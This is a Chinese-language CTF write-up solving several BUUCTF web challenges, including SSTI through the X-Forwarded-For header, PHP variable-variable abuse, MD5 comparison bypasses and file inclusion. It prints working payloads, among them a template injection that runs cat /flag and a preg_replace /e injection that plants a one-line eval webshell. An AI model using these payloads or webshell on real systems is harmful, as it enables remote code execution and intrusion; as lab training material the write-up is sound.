The mystery of ip

打开靶机,左上角两个按钮FlagHint,打开Flag,显示如下图:

的确,这是我的IP,但是没有flag啊!然后再去看了一下Hint,查看源代码发现hint:

这时候知道该题解题点就在IP那里,那我的IP它怎么会知道呢?肯定是请求头的原因,于是修改请求头X-Forwarded-For查看回显:

后面不知道怎么做了,大佬WriteUp提示是服务端模板注入攻击(SSTI),在此处直接可以进行cat /flag获取flag
Payload:

1
{{system("cat /flag")}}

Mark loves cat

这题是git泄露,但是为什么我Githack扫不到呢,缓缓打出一个问号?百般无奈,拿了其他师傅博客上的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}

echo "the flag is: ".$flag;
?>

审计发现,该题考点为可变变量,也被大佬称之为套娃变量,的确是挺绕的…
拆开分析:

1
2
3
4
5
6
7
foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach():PHP遍历函数;
上面一段代码的意思就是当以POST传参传入$a=1时,$x会变成$a,$y会变成1,也就是$x => $y–>$a=1,再经过后面处理,变成$$a=1
同理,下面以GET传参传入b=2,最终变成$b=$2
再看下面一段代码:

1
2
3
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

发现当以GET方式传入yds=flag而不进行POST传参或者传参但值不为flag时,最终变成$yds=$flag,此时刚好符合上面这段代码。然后执行exit()函数强制结束,返回$yds的值,而$yds=$flag,所以就会返回$flag的值,即为flag。
Payload:

1
http://30dce605-a636-4965-bd42-a44f48a6ad6d.node3.buuoj.cn/?yds=flag

参考链接:可变变量

Easy MD5

打开靶机,给出了一个登录框,试了一下万能密码,并不行,盲注了一下,不行:

查看网页源码,发现下面hint提示header,返回去读了一下请求头,发现有提示:

看到后面的md5($pass,true),想到之前刷Jarvis OJ时的一道题就是这个考点,密码直接输入ffifdyop,即可登录成功,登录后给出下面界面:

看了一下源码,考点为MD5 compare漏洞,使a、b均为数组或者通过常用的碰撞值即可绕过:

第二层绕过后,又给出了一段源码,这时候看上去还是跟第二层一个考点,不过后面变成了三个等号,要求更高了,不过通过数组还是可以轻松绕过:

ZJCTF,不过如此

ZJCTF2019改编,打开靶机,给出了一段源码:

审计发现参数text的值要为I have a dream,可以通过data://协议写入,然后会进行文件包含,注释提示next.php,可以通过php://filter协议读取next.php:
Payload:

1
http://0a8a2d7b-037c-457f-b51d-69995ff8b973.node3.buuoj.cn/?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

得到next.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

审计发现此处考点为preg_replace与代码执行,查询资料得到一个Payload\S*=${phpinfo()}可以使正则匹配到{${phpinfo()}},然后便可以执行phpinfo函数:

那么此时我们修改phpinfo()为一句话木马,是不是就可以执行呢?答案是正确的!通过该语句,我们成功写入一句话:
Payload:

1
http://0a8a2d7b-037c-457f-b51d-69995ff8b973.node3.buuoj.cn/next.php?\S*=${eval($_POST[BJD])}

蚁剑连接获得flag:

参考链接:深入研究preg_replace与代码执行

BJDCTF2020 推荐Y1ng师傅的WriteUp:2020 BJDCTF Web&Misc Writeup